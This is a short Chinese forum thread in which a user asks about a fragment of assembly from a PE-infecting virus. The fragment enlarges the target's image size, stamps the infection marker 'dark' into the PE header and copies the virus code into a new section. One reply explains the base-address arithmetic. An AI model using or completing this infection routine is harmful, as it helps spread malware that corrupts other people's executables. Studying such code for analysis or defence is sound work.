阅读:2163回复:2
请教高手
mul ecx
xchg eax,ebx ;还原 eax->pe_Header mov [eax+50h],ebx ;保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度 ;$ mov dword ptr [eax+8],\'dark\' ;病毒感染标志直接写到被感染文件的PE头中 cld mov ecx,VirusLen mov edi,[ebp+oldEnd] add edi,[ebp+pMem] ;pMem是指向映射到内存的第一个字节的指针 ???不懂就是这为什么到了文件尾后还要加这个内存映射呢,请高手告诉我 lea esi,[ebp+vBegin] rep movsb ;将病毒代码写入目标文件新建的节中! |
|
|
沙发#
发布于:2005-05-12 11:52
edi是RVA吧,也就是相对于基地址base的相对地址,所以要加上base
太冷清了,凑凑热闹,增加点人气 |
|
板凳#
发布于:2005-05-12 12:06
谢谢
|
|
|